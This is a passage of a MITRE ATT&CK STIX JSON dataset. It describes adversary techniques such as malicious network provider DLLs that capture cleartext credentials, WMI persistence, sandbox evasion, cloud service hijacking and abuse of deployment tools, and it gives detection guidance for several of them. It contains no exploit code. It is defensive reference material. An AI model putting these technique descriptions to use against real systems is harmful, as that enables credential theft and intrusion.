            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--90c4a591-d02d-490b-92aa-619d9701ac04",
            "created": "2023-03-30T22:45:00.431Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1556/008",
                    "external_id": "T1556.008"
                },
                {
                    "source_name": "NPPSPY - Huntress",
                    "description": " Dray Agha. (2022, August 16). Cleartext Shenanigans: Gifting User Passwords to Adversaries With NPPSPY. Retrieved March 30, 2023.",
                    "url": "https://www.huntress.com/blog/cleartext-shenanigans-gifting-user-passwords-to-adversaries-with-nppspy"
                },
                {
                    "source_name": "NPPSPY Video",
                    "description": "Grzegorz Tworek. (2021, December 14). How winlogon.exe shares the cleartext password with custom DLLs. Retrieved March 30, 2023.",
                    "url": "https://www.youtube.com/watch?v=ggY3srD9dYs"
                },
                {
                    "source_name": "NPPSPY",
                    "description": "Grzegorz Tworek. (2021, December 15). NPPSpy. Retrieved March 30, 2023.",
                    "url": "https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy"
                },
                {
                    "source_name": "Network Provider API",
                    "description": "Microsoft. (2021, January 7). Network Provider API. Retrieved March 30, 2023.",
                    "url": "https://learn.microsoft.com/en-us/windows/win32/secauthn/network-provider-api"
                },
                {
                    "source_name": "NPLogonNotify",
                    "description": "Microsoft. (2021, October 21). NPLogonNotify function (npapi.h). Retrieved March 30, 2023.",
                    "url": "https://learn.microsoft.com/en-us/windows/win32/api/npapi/nf-npapi-nplogonnotify"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T22:51:56.379Z",
            "name": "Network Provider DLL",
            "description": "Adversaries may register malicious network provider dynamic link libraries (DLLs) to capture cleartext user credentials during the authentication process. Network provider DLLs allow Windows to interface with specific network protocols and can also support add-on credential management functions.(Citation: Network Provider API) During the logon process, Winlogon (the interactive logon module) sends credentials to the local `mpnotify.exe` process via RPC. The `mpnotify.exe` process then shares the credentials in cleartext with registered credential managers when notifying that a logon event is happening.(Citation: NPPSPY - Huntress)(Citation: NPPSPY Video)(Citation: NPLogonNotify) \n\nAdversaries can configure a malicious network provider DLL to receive credentials from `mpnotify.exe`.(Citation: NPPSPY) Once installed as a credential manager (via the Registry), a malicious DLL can receive and save credentials each time a user logs onto a Windows workstation or domain via the `NPLogonNotify()` function.(Citation: NPLogonNotify)\n\nAdversaries may target planting malicious network provider DLLs on systems known to have increased logon activity and/or administrator logon activity, such as servers and domain controllers.(Citation: NPPSPY - Huntress)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "CrowdStrike Falcon OverWatch",
                "Jai Minton"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Windows Registry: Windows Registry Key Creation",
                "Windows Registry: Windows Registry Key Modification",
                "Process: OS API Execution",
                "File: File Creation"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58",
            "created": "2020-01-24T14:07:56.276Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1546/003",
                    "external_id": "T1546.003"
                },
                {
                    "source_name": "FireEye WMI 2015",
                    "description": "Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf"
                },
                {
                    "source_name": "Dell WMI Persistence",
                    "description": "Dell SecureWorks Counter Threat Unit\u2122 (CTU) Research Team. (2016, March 28). A Novel WMI Persistence Implementation. Retrieved March 30, 2016.",
                    "url": "https://www.secureworks.com/blog/wmi-persistence"
                },
                {
                    "source_name": "FireEye WMI SANS 2015",
                    "description": "Devon Kerr. (2015). There's Something About WMI. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20221203203722/https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/sans-dfir-2015.pdf"
                },
                {
                    "source_name": "Medium Detecting WMI Persistence",
                    "description": "French, D. (2018, October 9). Detecting & Removing an Attacker\u2019s WMI Persistence. Retrieved October 11, 2019.",
                    "url": "https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96"
                },
                {
                    "source_name": "Elastic - Hunting for Persistence Part 1",
                    "description": "French, D., Murphy, B. (2020, March 24). Adversary tradecraft 101: Hunting for persistence using Elastic Security (Part 1). Retrieved December 21, 2020.",
                    "url": "https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1"
                },
                {
                    "source_name": "Mandiant M-Trends 2015",
                    "description": "Mandiant. (2015, February 24). M-Trends 2015: A View from the Front Lines. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20160629094859/https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf"
                },
                {
                    "source_name": "Microsoft Register-WmiEvent",
                    "description": "Microsoft. (n.d.). Retrieved January 24, 2020.",
                    "url": "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/register-wmievent?view=powershell-5.1"
                },
                {
                    "source_name": "TechNet Autoruns",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
                },
                {
                    "source_name": "Microsoft MOF May 2018",
                    "description": "Satran, M. (2018, May 30). Managed Object Format (MOF). Retrieved January 24, 2020.",
                    "url": "https://docs.microsoft.com/en-us/windows/win32/wmisdk/managed-object-format--mof-"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:50.950Z",
            "name": "Windows Management Instrumentation Event Subscription",
            "description": "Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Examples of events that may be subscribed to are the wall clock time, user login, or the computer's uptime.(Citation: Mandiant M-Trends 2015)\n\nAdversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system.(Citation: FireEye WMI SANS 2015)(Citation: FireEye WMI 2015) Adversaries may also compile WMI scripts \u2013 using `mofcomp.exe`  \u2013into Windows Management Object (MOF) files (.mof extension) that can be used to create a malicious subscription.(Citation: Dell WMI Persistence)(Citation: Microsoft MOF May 2018)\n\nWMI subscription execution is proxied by the WMI Provider Host process (WmiPrvSe.exe) and thus may result in elevated SYSTEM privileges.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Brent Murphy, Elastic",
                "David French, Elastic",
                "Viren Chaudhari, Qualys"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence.(Citation: TechNet Autoruns)(Citation: Medium Detecting WMI Persistence) Monitor for the creation of new WMI <code>EventFilter</code>, <code>EventConsumer</code>, and <code>FilterToConsumerBinding</code> events. Event ID 5861 is logged on Windows 10 systems when new <code>EventFilterToConsumerBinding</code> events are created.(Citation: Elastic - Hunting for Persistence Part 1)\n\nMonitor processes and command-line arguments that can be used to register WMI persistence, such as the <code> Register-WmiEvent</code> [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, as well as those that result from the execution of subscriptions (i.e. spawning from the WmiPrvSe.exe WMI Provider Host process).(Citation: Microsoft Register-WmiEvent)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
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            "x_mitre_version": "1.5",
            "x_mitre_data_sources": [
                "File: File Creation",
                "Process: Process Creation",
                "Command: Command Execution",
                "WMI: WMI Creation"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--91177e6d-b616-4a03-ba4b-f3b32f7dda75",
            "created": "2020-10-02T16:59:56.648Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1596/004",
                    "external_id": "T1596.004"
                },
                {
                    "source_name": "DigitalShadows CDN",
                    "description": "Swisscom & Digital Shadows. (2017, September 6). Content Delivery Networks (CDNs) Can Leave You Exposed \u2013 How You Might Be Affected And What You Can Do About It. Retrieved October 20, 2020.",
                    "url": "https://www.digitalshadows.com/blog-and-research/content-delivery-networks-cdns-can-leave-you-exposed-how-you-might-be-affected-and-what-you-can-do-about-it/"
                }
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T21:55:21.053Z",
            "name": "CDNs",
            "description": "Adversaries may search content delivery network (CDN) data about victims that can be used during targeting. CDNs allow an organization to host content from a distributed, load balanced array of servers. CDNs may also allow organizations to customize content delivery based on the requestor\u2019s geographical region.\n\nAdversaries may search CDN data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about content servers within a CDN. Adversaries may also seek and target CDN misconfigurations that leak sensitive information not intended to be hosted and/or do not have the same protection mechanisms (ex: login portals) as the content hosted on the organization\u2019s website.(Citation: DigitalShadows CDN) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)).",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--91541e7e-b969-40c6-bbd8-1b5352ec2938",
            "created": "2020-03-06T21:04:12.454Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1497/002",
                    "external_id": "T1497.002"
                },
                {
                    "source_name": "FireEye FIN7 April 2017",
                    "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html"
                },
                {
                    "source_name": "Unit 42 Sofacy Nov 2018",
                    "description": "Falcone, R., Lee, B.. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved April 23, 2019.",
                    "url": "https://unit42.paloaltonetworks.com/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/"
                },
                {
                    "source_name": "Sans Virtual Jan 2016",
                    "description": "Keragala, D. (2016, January 16). Detecting Malware and Sandbox Evasion Techniques. Retrieved April 17, 2019.",
                    "url": "https://www.sans.org/reading-room/whitepapers/forensics/detecting-malware-sandbox-evasion-techniques-36667"
                },
                {
                    "source_name": "Deloitte Environment Awareness",
                    "description": "Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved September 13, 2024.",
                    "url": "https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc/edit"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:51.123Z",
            "name": "User Activity Based Checks",
            "description": "Adversaries may employ various user activity checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\n\nAdversaries may search for user activity on the host based on variables such as the speed/frequency of mouse movements and clicks (Citation: Sans Virtual Jan 2016) , browser history, cache, bookmarks, or number of files in common directories such as home or the desktop. Other methods may rely on specific user interaction with the system before the malicious code is activated, such as waiting for a document to close before activating a macro (Citation: Unit 42 Sofacy Nov 2018) or waiting for a user to double click on an embedded image to activate.(Citation: FireEye FIN7 April 2017) ",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Deloitte Threat Library Team"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "User activity-based checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection. ",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Process: OS API Execution",
                "Process: Process Creation",
                "Command: Command Execution"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--91ce1ede-107f-4d8b-bf4c-735e8789c94b",
            "created": "2017-12-14T16:46:06.044Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1141",
                    "external_id": "T1141"
                },
                {
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/569.html",
                    "external_id": "CAPEC-569"
                },
                {
                    "source_name": "OSX Malware Exploits MacKeeper",
                    "description": "Sergei Shevchenko. (2015, June 4). New Mac OS Malware Exploits Mackeeper. Retrieved July 3, 2017.",
                    "url": "https://baesystemsai.blogspot.com/2015/06/new-mac-os-malware-exploits-mackeeper.html"
                },
                {
                    "source_name": "LogRhythm Do You Trust Oct 2014",
                    "description": "Foss, G. (2014, October 3). Do You Trust Your Computer?. Retrieved December 17, 2018.",
                    "url": "https://logrhythm.com/blog/do-you-trust-your-computer/"
                },
                {
                    "source_name": "OSX Keydnap malware",
                    "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.",
                    "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/"
                },
                {
                    "source_name": "Enigma Phishing for Credentials Jan 2015",
                    "description": "Nelson, M. (2015, January 21). Phishing for Credentials: If you want it, just ask!. Retrieved December 17, 2018.",
                    "url": "https://enigma0x3.net/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:15:52.647Z",
            "name": "Input Prompt",
            "description": "When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1088)).\n\nAdversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as [AppleScript](https://attack.mitre.org/techniques/T1155)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware) and [PowerShell](https://attack.mitre.org/techniques/T1086)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015).",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Matthew Molyett, @s1air, Cisco Talos"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor process execution for unusual programs as well as malicious instances of [Scripting](https://attack.mitre.org/techniques/T1064) that could be used to prompt users for credentials.\n\nInspect and scrutinize input prompts for indicators of illegitimacy, such as non-traditional banners, text, timing, and/or sources.",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "Windows"
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            "x_mitre_version": "2.1"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--924d273c-be0d-4d8d-af58-2dddb15ef1e2",
            "created": "2024-09-25T14:05:59.910Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1496/004",
                    "external_id": "T1496.004"
                },
                {
                    "source_name": "SentinelLabs SNS Sender 2024",
                    "description": "Alex Delamotte. (2024, February 15). SNS Sender | Active Campaigns Unleash Messaging Spam Through the Cloud. Retrieved September 25, 2024.",
                    "url": "https://www.sentinelone.com/labs/sns-sender-active-campaigns-unleash-messaging-spam-through-the-cloud/"
                },
                {
                    "source_name": "Invictus IR DangerDev 2024",
                    "description": "Invictus Incident Response. (2024, January 31). The curious case of DangerDev@protonmail.me. Retrieved March 19, 2024.",
                    "url": "https://www.invictus-ir.com/news/the-curious-case-of-dangerdev-protonmail-me"
                },
                {
                    "source_name": "Lacework LLMJacking 2024",
                    "description": "Lacework Labs. (2024, June 6). Detecting AI resource-hijacking with Composite Alerts. Retrieved September 25, 2024.",
                    "url": "https://www.lacework.com/blog/detecting-ai-resource-hijacking-with-composite-alerts"
                },
                {
                    "source_name": "Sysdig LLMJacking 2024",
                    "description": "LLMjacking: Stolen Cloud Credentials Used in New AI Attack. (2024, May 6). Alessandro Brucato. Retrieved September 25, 2024.",
                    "url": "https://sysdig.com/blog/llmjacking-stolen-cloud-credentials-used-in-new-ai-attack/"
                },
                {
                    "source_name": "Permiso SES Abuse 2023",
                    "description": "Nathan Eades. (2023, January 12). SES-pionage. Retrieved September 25, 2024.",
                    "url": "https://permiso.io/blog/s/aws-ses-pionage-detecting-ses-abuse/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T22:03:40.356Z",
            "name": "Cloud Service Hijacking",
            "description": "Adversaries may leverage compromised software-as-a-service (SaaS) applications to complete resource-intensive tasks, which may impact hosted service availability. \n\nFor example, adversaries may leverage email and messaging services, such as AWS Simple Email Service (SES), AWS Simple Notification Service (SNS), SendGrid, and Twilio, in order to send large quantities of spam / [Phishing](https://attack.mitre.org/techniques/T1566) emails and SMS messages.(Citation: Invictus IR DangerDev 2024)(Citation: Permiso SES Abuse 2023)(Citation: SentinelLabs SNS Sender 2024) Alternatively, they may engage in LLMJacking by leveraging reverse proxies to hijack the power of cloud-hosted AI models.(Citation: Sysdig LLMJacking 2024)(Citation: Lacework LLMJacking 2024)\n\nIn some cases, adversaries may leverage services that the victim is already using. In others, particularly when the service is part of a larger cloud platform, they may first enable the service.(Citation: Sysdig LLMJacking 2024) Leveraging SaaS applications may cause the victim to incur significant financial costs, use up service quotas, and otherwise impact availability. ",
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                    "kill_chain_name": "mitre-attack",
                    "phase_name": "impact"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "SaaS"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Cloud Service: Cloud Service Modification",
                "Application Log: Application Log Content"
            ],
            "x_mitre_impact_type": [
                "Availability"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--926d8cfd-1d0d-4da2-ab49-3ca10ec3f3b5",
            "created": "2022-05-27T14:06:05.130Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1585/003",
                    "external_id": "T1585.003"
                },
                {
                    "source_name": "Awake Security C2 Cloud",
                    "description": "Gary Golomb and Tory Kei. (n.d.). Threat Hunting Series: Detecting Command & Control in the Cloud. Retrieved May 27, 2022.",
                    "url": "https://awakesecurity.com/blog/threat-hunting-series-detecting-command-control-in-the-cloud/"
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            "modified": "2025-04-15T22:01:31.837Z",
            "name": "Cloud Accounts",
            "description": "Adversaries may create accounts with cloud providers that can be used during targeting. Adversaries can use cloud accounts to further their operations, including leveraging cloud storage services such as Dropbox, MEGA, Microsoft OneDrive, or AWS S3 buckets for [Exfiltration to Cloud Storage](https://attack.mitre.org/techniques/T1567/002) or to [Upload Tool](https://attack.mitre.org/techniques/T1608/002)s. Cloud accounts can also be used in the acquisition of infrastructure, such as [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003)s or [Serverless](https://attack.mitre.org/techniques/T1583/007) infrastructure. Establishing cloud accounts may allow adversaries to develop sophisticated capabilities without managing their own servers.(Citation: Awake Security C2 Cloud)\n\nCreating [Cloud Accounts](https://attack.mitre.org/techniques/T1585/003) may also require adversaries to establish [Email Accounts](https://attack.mitre.org/techniques/T1585/002) to register with the cloud provider. ",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Francesco Bigarella"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during exfiltration (ex: [Transfer Data to Cloud Account](https://attack.mitre.org/techniques/T1537)).",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414",
            "created": "2017-05-31T21:30:57.201Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1072",
                    "external_id": "T1072"
                },
                {
                    "source_name": "Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation",
                    "description": "ALEXANDER MARVI, BRAD SLAYBAUGH, DAN EBREO, TUFAIL AHMED, MUHAMMAD UMAIR, TINA JOHNSON. (2023, March 16). Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation. Retrieved May 15, 2023.",
                    "url": "https://www.mandiant.com/resources/blog/fortinet-malware-ecosystem"
                },
                {
                    "source_name": "SpecterOps Lateral Movement from Azure to On-Prem AD 2020",
                    "description": "Andy Robbins. (2020, August 17). Death from Above: Lateral Movement from Azure to On-Prem AD. Retrieved March 13, 2023.",
                    "url": "https://posts.specterops.io/death-from-above-lateral-movement-from-azure-to-on-prem-ad-d18cb3959d4d"
                },
                {
                    "source_name": "Mitiga Security Advisory: SSM Agent as Remote Access Trojan",
                    "description": "Ariel Szarf, Or Aspir. (n.d.). Mitiga Security Advisory: Abusing the SSM Agent as a Remote Access Trojan. Retrieved January 31, 2024.",
                    "url": "https://www.mitiga.io/blog/mitiga-security-advisory-abusing-the-ssm-agent-as-a-remote-access-trojan"
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            ],
            "object_marking_refs": [
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            "modified": "2025-04-15T19:58:51.465Z",
            "name": "Software Deployment Tools",
            "description": "Adversaries may gain access to and use centralized software suites installed within an enterprise to execute commands and move laterally through the network. Configuration management and software deployment applications may be used in an enterprise network or cloud environment for routine administration purposes. These systems may also be integrated into CI/CD pipelines. Examples of such solutions include: SCCM, HBSS, Altiris, AWS Systems Manager, Microsoft Intune, Azure Arc, and GCP Deployment Manager.  \n\nAccess to network-wide or enterprise-wide endpoint management software may enable an adversary to achieve remote code execution on all connected systems. The access may be used to laterally move to other systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.\n\nSaaS-based configuration management services may allow for broad [Cloud Administration Command](https://attack.mitre.org/techniques/T1651) on cloud-hosted instances, as well as the execution of arbitrary commands on on-premises endpoints. For example, Microsoft Configuration Manager allows Global or Intune Administrators to run scripts as SYSTEM on on-premises devices joined to Entra ID.(Citation: SpecterOps Lateral Movement from Azure to On-Prem AD 2020) Such services may also utilize [Web Protocols](https://attack.mitre.org/techniques/T1071/001) to communicate back to adversary owned infrastructure.(Citation: Mitiga Security Advisory: SSM Agent as Remote Access Trojan)\n\nNetwork infrastructure devices may also have configuration management tools that can be similarly abused by adversaries.(Citation: Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation)\n\nThe permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the third-party system, or specific domain credentials may be required. However, the system may require an administrative account to log in or to access specific functionality.",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "lateral-movement"
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            "x_mitre_contributors": [
                "Shane Tully, @securitygypsy",
                "Joe Gumke, U.S. Bank",
                "Tamir Yehuda"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Detection methods will vary depending on the type of third-party software or system and how it is typically used. \n\nThe same investigation process can be applied here as with other potentially malicious activities where the distribution vector is initially unknown but the resulting activity follows a discernible pattern. Analyze the process execution trees, historical activities from the third-party application (such as what types of files are usually pushed), and the resulting activities or events from the file/binary/script pushed to systems. \n\nOften these third-party applications will have logs of their own that can be collected and correlated with other data from the environment. Ensure that third-party application logs are on-boarded to the enterprise logging system and the logs are regularly reviewed. Audit software deployment logs and look for suspicious or unauthorized activity. A system not typically used to push software to clients that suddenly is used for such a task outside of a known admin function may be suspicious. Monitor account login activity on these applications to detect suspicious/abnormal usage.\n\nPerform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "Network Devices",
                "SaaS"
            ],
            "x_mitre_version": "3.2",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Application Log: Application Log Content"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d",
            "created": "2017-05-31T21:30:41.804Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1041",
                    "external_id": "T1041"
                },
                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:51.597Z",
            "name": "Exfiltration Over C2 Channel",
